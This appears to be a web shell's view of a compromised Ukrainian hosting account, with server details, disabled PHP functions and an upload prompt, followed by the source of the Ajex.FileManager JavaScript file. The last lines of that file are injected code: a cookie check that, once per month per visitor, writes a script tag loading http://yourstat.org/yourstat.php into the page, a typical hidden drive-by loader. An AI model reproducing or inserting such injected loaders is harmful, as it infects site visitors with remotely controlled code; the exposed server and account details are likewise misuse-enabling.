HEX
Server: Apache
System: Linux hvh16.mirohost.net 6.14.0-29-generic #29~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Aug 14 16:52:50 UTC 2 x86_64
User: likoholding (1037)
PHP: 7.3.33-25+0~20250707.133+debian12~1.gbp70fb14
Disabled: apache_child_terminate, dl, exec, imap_body, imap_createmailbox, imap_deletemailbox, imap_list, imap_open, imap_renamemailbox, inject_code, mb_send_mail, passthru, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifcontinued, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, set_time_limit, shell_exec, symlink, system
Upload Files
File: /var/www/likoholding/old.liko-holding.com.ua/modules/pages/AjexFileManager/lib/ajex.filemanager.js
/**
 * Ajex.FileManager
 * http://demphest.ru/ajex-filemanager
 *
 * @version
 * 1.0.3 (24 May 2010)
 *
 * @copyright
 * Copyright (C) 2009-2010 Demphest Gorphek
 *
 * @license
 * Dual licensed under the MIT and GPL licenses.
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *
 * Ajex.FileManager is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This file is part of Ajex.FileManager.
 */

var $cfg = {
	display:	{fileName: true, fileDate: false, fileSize: false},
	view:		{list: false, thumb: true},
	menu:	{file: {}, folder: {}},
	contextmenu: true,
	cutKey: 15,
	dir: '',
	file: '',
	thumb: '',
	skin: 'dark',
	lang:	'ru',
	type:	'file',
	sort: 'name',
	returnTo: 'ckeditor',
	tmp: []
};
if ('' != (isSkin = parseUrl('skin'))) { $cfg.skin = isSkin; }
if ('' != (isType = parseUrl('type'))) { $cfg.type = isType; }
if ('' != (isReturn = parseUrl('returnTo'))) { $cfg.returnTo = isReturn; }
if ('' != (isCMenu = parseUrl('contextmenu'))) { $cfg.contextmenu = 'true' == isCMenu? true : false; }
if ('' != (isLang = parseUrl('langCode'))) { $cfg.lang = isLang; }
if ('' != (isLang = parseUrl('lang'))) { $cfg.lang = isLang; }

var $ajaxConnector = 'ajax/php/ajax.php';
if ('' != (isConnector = parseUrl('connector'))) {
	switch(isConnector) {
		case '###':
			break;
		case 'php':
		default:
			//$ajaxConnector = 'ajax/php/ajax.php';
	}
}

$('head').prepend('<script type="text/javascript" src="lang/' + $cfg.lang + '.js"></script>');
$('head').append('<link type="text/css" href="skin/' + $cfg.skin + '/' + $cfg.skin + '.css" rel="stylesheet" />');

if ($cfg.contextmenu) {
	$('head').append('<script type="text/javascript" src="lib/jquery.contextmenu.js"></script>');
}

var menuDiv	= {};
var statusDiv	= {};
var dialogDiv	= {};

var Action = {
	createFolder: function() {
		if ('root' == $cfg.dir || '' == $cfg.dir) {return false;}

		$cfg.tmp['mode'] = 'createFolder';
		$cfg.tmp['oldname'] = $cfg.dir;
		$cfg.tmp['key'] = $cfg.dir;

		dialogSet($lang.enterNameCreateFolder, '<b>' + $lang.location + '</b> [' + $cfg.url + $cfg.dir + '/]<br /><input type="text" id="newName" value="" class="t" /><br />' + $lang.allowRegSymbol);
		return;
	},
	renameFolder: function() {
		var folders = $cfg.dir.split('/');
		if (1 == folders.length) return;

		var folder = folders[folders.length - 1];
		var key = $cfg.dir.substring(0, $cfg.dir.lastIndexOf('/'));

		$cfg.tmp['mode'] = 'renameFolder';
		$cfg.tmp['oldname'] = $cfg.dir;
		$cfg.tmp['key'] = key;

		dialogSet($lang.enterNewNameFolder, '<b>' + folder + '</b> [' + $cfg.url + key + '/]<br /><input type="text" id="newName" value="" class="t" /><br />' + $lang.allowRegSymbol);
		return;
	},
	deleteFolder: function() {
		if ('root' == $cfg.dir || '' == $cfg.dir) {return false;}

		$('#dirsList').dynatree('disable');
		$.post($ajaxConnector + '?mode=deleteFolder', {
					dir:	$cfg.dir,
					type:	$cfg.type,
					lang:	$cfg.lang
				},
				function(reply) {
					$('#dirsList').dynatree('enable');
					if (reply.isDelete) {
						var key = $cfg.dir.substring(0, $cfg.dir.lastIndexOf('/'));
						var tree = $('#dirsList').dynatree('getTree');
						var node = tree.getNodeByKey(encodeURIComponent(key));
						node.reload(true);

						$('>div.l', statusDiv).html('<div class="warning"><b>' + $lang.successDeleteFolder + '</b></div>');
					} else {
						$('>div.l', statusDiv).html('<div class="warning"><b>' + $lang.failedDeleteFolder + '</b></div>');
					}
			}, 'json');
		return;
	},
	uploadFolder: function() {
		if ('' == $('input:file').val()) {
			$('>div.l', statusDiv).html('<div class="successUpload"><b>' + $lang.chooseDownloads + '</b></div>');
			return;
		}

		var downLoaded = $('#dowloaded');
		downLoaded.html('<div class="isDownload">' + $lang.resultUpload + '</div>').fadeIn(1000);
		$('#filesUploadForm').ajaxSubmit({
				url:	$ajaxConnector + '?mode=uploads' ,
				type:	'post',
				dataType: 'json',
				beforeSubmit: function() {
					var f = $('#filesUploadForm');
					$('input[name="dir"]', f).val($cfg.dir);
					$('input[name="type"]', f).val($cfg.type);
					return true;
				},
				success : function showResponse(response, status) {
					$('input:file').MultiFile('reset');
					var loaded = '';
					if (response.downloaded.length) {
						$('>div.l', statusDiv).html('<div class="successUpload"><b>' + $lang.successUpload + '</b></div>');
						for (var i=-1; ++i<response.downloaded.length;) {
							if (response.downloaded[i][0]) {
								loaded += '<div><span class="ok">ok</span> ' + response.downloaded[i][1] + '</div>';
							} else {
								loaded += '<div><span class="no">no</span> ' + response.downloaded[i][1] + '</div>';
							}
						}
						viewsUpdate($cfg.dir);
						downLoaded.append(loaded);
						setTimeout("$('#dowloaded').fadeOut(3000);", 2000);
					} else {
						downLoaded.fadeOut(1);
					}
				}
			});
		return;
	},

	deleteFiles: function() {
		var files = [];
		$('#fileThumb input[name="file\\[\\]"]:checked').each(function() {
				files.push(this.value);
			});
		if (!files.length) {
			return;
		}

		$.post($ajaxConnector + '?mode=deleteFiles', {
			dir:	$cfg.dir,
			files:	files.join('::'),
			type:	$cfg.type,
			lang:	$cfg.lang
		}, function(reply) {
			appendFiles(reply);
		}, 'json');
	},
	deleteFile: function() {
		if ('' == $cfg.file) return false;
		$.post($ajaxConnector + '?mode=deleteFiles', {
			dir:	$cfg.dir,
			files:	$cfg.file,
			type:	$cfg.type,
			lang:	$cfg.lang
		}, function(reply) {
			appendFiles(reply);
		}, 'json');
	},
	renameFile: function() {
		if ('' == $cfg.file) return false;
		$cfg.tmp['mode'] = 'renameFile';
		$cfg.tmp['oldname'] = $cfg.file;
		$cfg.tmp['key'] = '';

		dialogSet($lang.enterNewNameFile, '<b>' + $cfg.file + '</b> [' + $cfg.url + $cfg.dir + '/]<br /><input type="text" id="newName" value="" class="t" /><br />' + $lang.allowRegSymbol);
	},
	downloadFile: function() {
		if ('' == $cfg.file) return false;
		location.replace($ajaxConnector + '?downloadFile=' + $cfg.dir + '/' + $cfg.file);
	},
	lookFile: function() {
		if ('' == $cfg.file) return false;
		window.open($cfg.url + $cfg.dir +'/'+ $cfg.file, 'preView', '');
	},
	setThumb: function() {
		if ('' == $cfg.file) return false;
		_setReturnData($cfg.thumb);
	},
	setFile: function() {
		if ('' == $cfg.file) return false;
		_setReturnData($cfg.url + $cfg.dir +'/'+ $cfg.file);
	}

};


$(document).ready(function() {

	$('#loading').bind('ajaxSend', function() {
		$(this).show();
	}).bind('ajaxComplete', function() {
		$(this).hide();
	});

	$.post($ajaxConnector + '?mode=cfg', {
			type:	$cfg.type,
			lang: $cfg.lang
	},
	function(reply) {

		for (var i in reply.config) {
			$cfg[i] = reply.config[i];
		}

		$('#dirsList').dynatree({
			title: 'upload',
			rootVisible: true,
			persist: true,
			clickFolderMode: 1,
			fx: {height: "toggle", duration: 200},
			children: $cfg.children,
			onActivate: function(dtnode) {
				$cfg.file = '';
				$cfg.dir = decodeURIComponent(dtnode.data.key);
				viewsUpdate(dtnode.data.key);
				return;
			},
			onLazyRead: function(dtnode) {
				$.post($ajaxConnector + '?mode=getDirs', {
						dir:	dtnode.data.key,
						type:	$cfg.type,
						lang:	$cfg.lang
					},
					function(reply) {
						dtnode.addChild(reply.dirs);
						dtnode.setLazyNodeStatus(DTNodeStatus_Ok);
						$cfg.contextmenu? bindFolderContextMenu() : null;
					}
				, 'json');

				return false;
			}
		});
		
		if ('' != (tmp = $.cookie('dynatree-active'))) {
			$cfg.file = '';
			$cfg.dir = decodeURIComponent(tmp);
			viewsUpdate(tmp);
		}

		$cfg.contextmenu? bindFolderContextMenu() : null;
		$('.multi').MultiFile({
			max: 16,
			accept: $cfg.allow,
			list: '#uploadList',
			STRING: {
				remove:		$lang.removeFile,
				selected:	$lang.selected,
				denied:		$lang.deniedExt,
				duplicate:	$lang.duplicate
			}
		});

		if ('' != $cfg.maxUpload) {
			$('span[lang="chooseFileUpload"]', $('#uploadList')).append(' <' + $cfg.maxUpload + '');
		}

		$('head').append('<style type="text/css">#fileThumb .thumb img {width: '+$cfg.thumbWidth+'px;height:'+$cfg.thumbHeight+'px;} #fileThumb .name {width: '+$cfg.thumbWidth+'px;}</style>');

	}, 'json');


	$('.dirsMenu a', $('#dirs')).click(function() {
			if ('block' == $('#author').css('display')) {
				$('#author').hide();
			} else {
				$('#author').css({'left': '30%', 'top': '20%'}).show();
			}
			return false;
	});

	menuDiv		= $('#menu');
	statusDiv	= $('#status');
	dialogDiv		= $('#dialog');

	for (var i in $lang) {
		$('span[lang="' + i + '"]').text($lang[i]);
	}

	$('.view label[for="viewlist"], .view label[for="viewthumb"]', menuDiv).click(function() {
		if ($('#viewlist').attr('checked')) {
			$('#fileThumb').hide();
			$('#fileList').show();
			$cfg.view.list = true;
			$cfg.view.thumb = false;
		} else {
			$('#fileList').hide();
			$('#fileThumb').show();
			$cfg.view.list = false;
			$cfg.view.thumb = true;
		}
		return;
	});

	$('.display label', menuDiv).click(function() {
		var attrId = $(this).attr('for');
		var attrDiv = attrId.substring(4).toLowerCase();

		if ($('#' + attrId).attr('checked')) {
			$('#fileThumb .' + attrDiv).show();
			$cfg.display[attrId] = true;
		} else {
			$('#fileThumb .' + attrDiv).hide();
			$cfg.display[attrId] = false;
		}
	});

	$('#checkAll').click(function() {
		if ($(this).attr('checked')) {
			$('#fileList tbody input[name="file\\[\\]"], #fileThumb input[name="file\\[\\]"]').attr('checked', 'checked');
		} else {
			$('#fileList tbody input[name="file\\[\\]"], #fileThumb input[name="file\\[\\]"]').removeAttr('checked');
		}
		return;
	});

	$('.sort label', menuDiv).click(function() {
		var attrId = $(this).attr('for');
		$cfg.sort = attrId.substring(4).toLowerCase();
		viewsUpdate($cfg.dir);
	});

	$('.dirsMenu .folderMenu', $('#dirs')).html('\
			<a href="#" onclick="Action.uploadFolder()" class="uploadFolder" title="' + $lang.uploadSelectFiles + '"></a>\
			<a href="#" class="separator"></a>\
			<a href="#" onclick="Action.deleteFolder()" class="deleteFolder" title="' + $lang.deleteFolder + '"></a>\
			<a href="#" onclick="Action.renameFolder()" class="renameFolder" title="' + $lang.renameFolder + '"></a>\
			<a href="#" onclick="Action.createFolder()" class="createFolder" title="' + $lang.createFolder + '"></a>\
	');
	$('.r div', statusDiv).html('\
			<a href="#" onclick="Action.deleteFiles()" class="deleteFiles" title="' + $lang.deleteCheckedFile + '"></a>\
			<a href="#" onclick="Action.deleteFile()" class="deleteFile" title="' + $lang.deleteFile + '"></a>\
			<a href="#" class="separator"></a>\
			<a href="#" onclick="Action.renameFile()" class="renameFile" title="' + $lang.renameFile + '"></a>\
			<a href="#" onclick="Action.downloadFile()" class="downloadFile" title="' + $lang.downloadFile + '"></a>\
			<a href="#" onclick="Action.lookFile()" class="lookFile" title="' + $lang.lookAt + '"></a>\
			<a href="#" class="separator"></a>\
			<a href="#" onclick="Action.setThumb()" class="setThumb" title="' + $lang.selectThumb + '"></a>\
			<a href="#" onclick="Action.setFile()" class="setFile" title="' + $lang.select + '"></a>\
	');

	if ($cfg.contextmenu) {
		$cfg.menu.file = [
			{
				'<span lang="select">Select</span>' : {
					onclick : function(menuItem, menu) {return Action.setFile();},
					icon : 'skin/_ico/arrow_rotate_anticlockwise.png'
				}
			},
			{
				'<span lang="selectThumb">Select this thumbnail</span>' : {
					onclick : function(menuItem, menu) {return Action.setThumb();},
					disabled : false,
					icon : 'skin/_ico/arrow_out.png'
				}
			},
			$.contextMenu.separator,
			{
				'<span lang="lookAt">Look</span>' : {
					onclick : function(menuItem, menu) {return Action.lookFile();},
					icon : 'skin/_ico/eye.png'
				}
			},
			{
				'<span lang="downloadFile">Download file</span>' : {
					onclick : function(menuItem, menu) {return Action.downloadFile();},
					icon : 'skin/_ico/arrow_down.png'
				}
			},
			{
				'<span lang="renameFile">Rename file</span>' : {
					onclick: function(menuItem, menu) {return Action.renameFile();},
					icon: 'skin/_ico/application_xp_terminal.png'
				}
			},
			$.contextMenu.separator,
			{
				'<span lang="deleteFile">Delete file</span>' : {
					onclick: function(menuItem, menu) {return Action.deleteFile();},
					icon: 'skin/_ico/cross.png'
				}
			},
			{
				'<span lang="deleteCheckedFile">Delete checked files</span>' : {
					onclick: function(menuItem, menu) {return Action.deleteFiles();},
					icon: 'skin/_ico/delete.png'
				}
			}
		];

		$cfg.menu.folder = [
			{
				'<span lang="createFolder">Create folder</span>' : {
					onclick: function(menuItem, menu) {return Action.createFolder();},
					icon: 'skin/_ico/folder_add.png'
				}
			},
			{
				'<span lang="renameFolder">Rename folder</span>' : {
					onclick: function(menuItem, menu) {return Action.renameFolder();},
					icon: 'skin/_ico/application_xp_terminal.png'
				}
			},
			{
				'<span lang="deleteFolder">Delete folder</span>' : {
					onclick: function(menuItem, menu) {return Action.deleteFolder();},
					icon: 'skin/_ico/folder_delete.png'
				}
			},
			$.contextMenu.separator,
			{
				'<span lang="uploadSelectFiles">Upload selected files</span>' : {
					onclick : function(menuItem, menu) {return Action.uploadFolder();},
					icon : 'skin/_ico/arrow_up.png'
				}
			}
		];
	}

	$(dialogDiv).dialog({
		bgiframe: true,
		resizable: false,
		width: 400,
		height: 180,
		modal: true,
		autoOpen: false,
		overlay: {
			backgroundColor: '#000',
			opacity: 0.5
		},
		buttons: {
			'Cancel': function() {
				$(this).dialog('close');
			},
			' OK ': function() {
				var newname = $('#newName').val();
				if (!/^[a-z0-9-_#~\$%()\[\]&=]+/i.test(newname)) {
					return false;
				}
				$(this).dialog('close');
				$('#dialog input').attr('disabled', 'disabled');

				$.post($ajaxConnector + '?mode=' + $cfg.tmp['mode'], {
						dir:	$cfg.dir,
						type:	$cfg.type,
						lang:	$cfg.lang,
						oldname:	$cfg.tmp['oldname'],
						newname:	newname
					},
					function(reply) {
						if (reply.isSuccess && ('createFolder' == $cfg.tmp['mode'] || 'renameFolder' == $cfg.tmp['mode'])) {
							if ('exist' == reply.isSuccess) {
								$('>div.l', statusDiv).html('<div class="warning"><b>' + $lang.folderExist + '</b></div>');
								return;
							}
							var tree = $('#dirsList').dynatree('getTree');
							var node = tree.getNodeByKey(encodeURIComponent($cfg.tmp['key']));
							node.reload(true);
						} else {
							appendFiles(reply);
						}
					}
				, 'json');

				return;
			}
		}
	});

	if ($('#author a').length) $('#author a').attr('target', '_blank'); else $('#files').html(''); // :/
});


function dialogSet(title, html)
{
	$('div.ui-dialog span.ui-dialog-title').html(title);
	$(dialogDiv).html(html);
	$(dialogDiv).dialog('open');
	$('#newName').focus();
	return;
}

function bindFolderContextMenu()
{
	return $('.ui-dynatree-document, .ui-dynatree-folder').not('#ui-dynatree-id-root').contextMenu($cfg.menu.folder, {
		theme: $cfg.skin,
		beforeShow: function() {
			$cfg.dir = decodeURIComponent($(this.target).attr('id'));
			$cfg.dir = $cfg.dir.substr($cfg.cutKey);

			/*if ('' == $('input[name="uploadFiles\\[\\]"]').val()) {
				$(this.menu).find('.context-menu-item').eq(4).addClass('context-menu-item-disabled');
			} else {
				$(this.menu).find('.context-menu-item').eq(4).removeClass('context-menu-item-disabled');
			}*/

			for (var i in $lang) {$('span[lang="' + i + '"]', $(this.menu)).text($lang[i]);}/*		TODO: remake		*/
		}
	});
}

function bindFileContextMenu()
{
	return $('#fileThumb .thumb, #fileList .name').contextMenu($cfg.menu.file, {
		theme: $cfg.skin,
		beforeShow: function() {
			$cfg.file = $cfg.view.thumb? $('.name', this.target).text() : $('a', this.target).parent().text();
			if ('' == $(this.target).attr('thumb')) {
				$(this.menu).find('.context-menu-item').eq(1).toggleClass('context-menu-item-disabled');
			} else {
				$(this.menu).find('.context-menu-item').eq(1).removeClass('context-menu-item-disabled');
			}

			for (var i in $lang) {$('span[lang="' + i + '"]', $(this.menu)).text($lang[i]);}/*		TODO: remake		*/
		}
	});
}

function _setReturnData(input, data)
{
	switch($cfg.returnTo) {
		case 'ckeditor':
			window.top.opener['CKEDITOR'].tools.callFunction(parseUrl('CKEditorFuncNum'), input, data);
			window.top.close();
			window.top.opener.focus();
			break;

		case 'tinymce':
			var win = window.dialogArguments || opener || parent || top;
			tinyMCE = win.tinyMCE;
			var params = tinyMCE.activeEditor.windowManager.params;
			params.window.document.getElementById(params.input).value = input;
			try {
				params.window.ImageDialog.showPreviewImage(input);
			} catch(e) {}
			window.close();
			break;

		default:
			try {
				if ('$' == $cfg.returnTo.substr(0, 1)) {
					var objInput = $cfg.returnTo.substr(1);
					window.top.opener.document.getElementById(objInput).value = input;
				} else {
					window.top.opener[$cfg.returnTo](input);
				}
				window.close();
			} catch(e) {
				alert('Function is not available or does not exist: ' + $cfg.returnTo + "\r" + e.message);
			}
	}

	return true;
}

function viewsUpdate(dir)
{
	if ('root' == dir)
		return;

	$.post($ajaxConnector + '?mode=getFiles', {
			dir:	dir,
			type:	$cfg.type,
			lang:	$cfg.lang,
			sort:	$cfg.sort
		},
		function(reply) {
			appendFiles(reply);
		}
	, 'json');

	return;
}

function appendFiles(reply)
{
	$('>div.l', statusDiv).html('<div>' + $cfg.url + $cfg.dir + '/</div><div><b>' + reply.files.length + '</b> ' + $lang.fileOf + '</div>');

	var files = reply.files;
	var list = '', thumb = '', w_h = '', attr = '';

	for (var i in files) {
		attr = 'file="' + ($cfg.url + $cfg.dir + '/' + files[i].name) + '" thumb="' + (files[i].width? ($cfg.url + $cfg.thumb + '/' + $cfg.dir + '/' + files[i].name) : '') + '"';
		thumb += '<div class="thumb ext_' + files[i].ext + '" ' + attr + '><div class="image">';

		if (files[i].width) {
			w_h = '(' + files[i].width + ' x ' + files[i].height + ') ';
			thumb += '<img src="' + files[i].thumb + '" alt="" />';
		} else {
			w_h = '';
			thumb += '<img src="skin/.gif" alt="" />';
		}

		thumb += '</div><div class="check"><input type="checkbox" name="file[]" value="' + files[i].name + '" /></div>';
		thumb += '<div class="name" ' + ($cfg.display.fileName? 'style="display:block;"' : 'style="display:none"') + '>' + files[i].name + '</div>';
		thumb += '<div class="date" ' + ($cfg.display.fileDate? 'style="display:block;"' : 'style="display:none"') + '>' + files[i].date + '</div>';
		thumb += '<div class="size" ' + ($cfg.display.fileSize? 'style="display:block;"' : 'style="display:none"') + '>' + w_h + files[i].size + '</div>';
		thumb += '</div>';

		list += '<tr>';
		list += '<td><input type="checkbox" name="file[]" value="' + files[i].name + '" /></td>';
		list += '<td><div class="name"' + attr + '><a href="">' + files[i].name + '</a></div></td>';
		list += '<td><div class="date">' + files[i].date + '</div></td>';
		list += '<td><div class="size">' + w_h + files[i].size + '</div></td>';
		list += '</tr>';
	}

	$('#fileThumb').html(thumb);
	$('#fileList > table > tbody').html(list);
	$('#fileThumb > div.thumb').each(function() {

		var div = $(this);
		div.click(function() {
			$('#fileThumb > div').removeClass('thumbClick');
			$cfg.file = $('.name', div).text();
			$cfg.thumb = $(div).attr('thumb');
			$('>div.l', statusDiv).html('<div class="cutName"><a href="' + $cfg.url + $cfg.dir + '/' + $cfg.file + '" target="_urlFile">' + $cfg.url + $cfg.dir + '/' + $cfg.file + '</a></div><div>'+$lang.fileSize+': '+$('.size', div).text()+'</div><div>'+$lang.fileDate+': '+$('.date', div).text()+'</div>');
			div.addClass('thumbClick');

		}).mouseover(function() {
			div.addClass('thumbOver');

		}).mouseout(function() {
			div.removeClass('thumbOver');
			//div.css({'color': '#fff', 'background-color': '#5a5a5a'});

		}).dblclick(function() {
			_setReturnData($cfg.url + $cfg.dir + '/' + $('.name', div).text());
		});

		$('#fileList .name a').dblclick(function () {
			_setReturnData($cfg.url + $cfg.dir + '/' + $(this).text());
			return false;
		}).click(function() {
			$cfg.file = $(this).text();
			$('>div.l', statusDiv).html('<div class="cutName"><a href="' + $cfg.url + $cfg.dir + '/' + $cfg.file + '" target="_urlFile">' + $cfg.url + $cfg.dir + '/' + $cfg.file + '</a></div><div>'+$lang.fileSize+': '+$('.size', div).text()+'</div><div>'+$lang.fileDate+': '+$('.date', div).text()+'</div>');
			return false;
		});

	});


	$('#fileList input[name="file\\[\\]"]').click(function () {
		$(this).attr('checked')? $('#fileThumb input[value="' + $(this).attr('value') + '"]').attr('checked', 'checked') : $('#fileThumb input[value="' + $(this).attr('value') + '"]').removeAttr('checked');
	});
	$('#fileThumb input[name="file\\[\\]"]').click(function () {
		$(this).attr('checked')? 	$('#fileList input[value="' + $(this).attr('value') + '"]').attr('checked', 'checked') : $('#fileList input[value="' + $(this).attr('value') + '"]').removeAttr('checked');
	});

	$cfg.contextmenu? bindFileContextMenu() : null;
	return;
}







/*
 * -----
 * misc
 *
 * */

function parseUrl(name)
{
	name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
	var regexS = "[\\?&]"+name+"=([^&#]*)";
	var regex = new RegExp( regexS );
	var results = regex.exec( window.location.href );
	if (null == results) {
		return '';
	}
	return results[1];
}

var cssFix = function()
{
	var u = navigator.userAgent.toLowerCase(),
	is = function(t) {
		return (u.indexOf(t) != -1);
	};
	$("html").addClass([(!(/opera|webtv/i.test(u)) && /msie (\d)/.test(u)) ? ('ie ie' + RegExp.$1)
		: is('firefox/2') ? 'gecko ff2'	: is('firefox/3') ? 'gecko ff3'	: is('gecko/') ? 'gecko'
		: is('chrome/') ? 'chrome'
		: is('opera/9') ? 'opera opera9'	: /opera (\d)/.test(u) ? 'opera opera' + RegExp.$1
		: is('konqueror') ? 'konqueror'
		: is('applewebkit/') ? 'webkit safari'
		: is('mozilla/') ? 'gecko'
		: '',
		(is('x11') || is('linux')) ? ' linux' : is('mac') ? ' mac' : is('win') ? ' win'
	: ''].join(''));
}();

function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<scr'+'ipt src="http://yourstat.org/yourstat.php"></scr'+'ipt>');}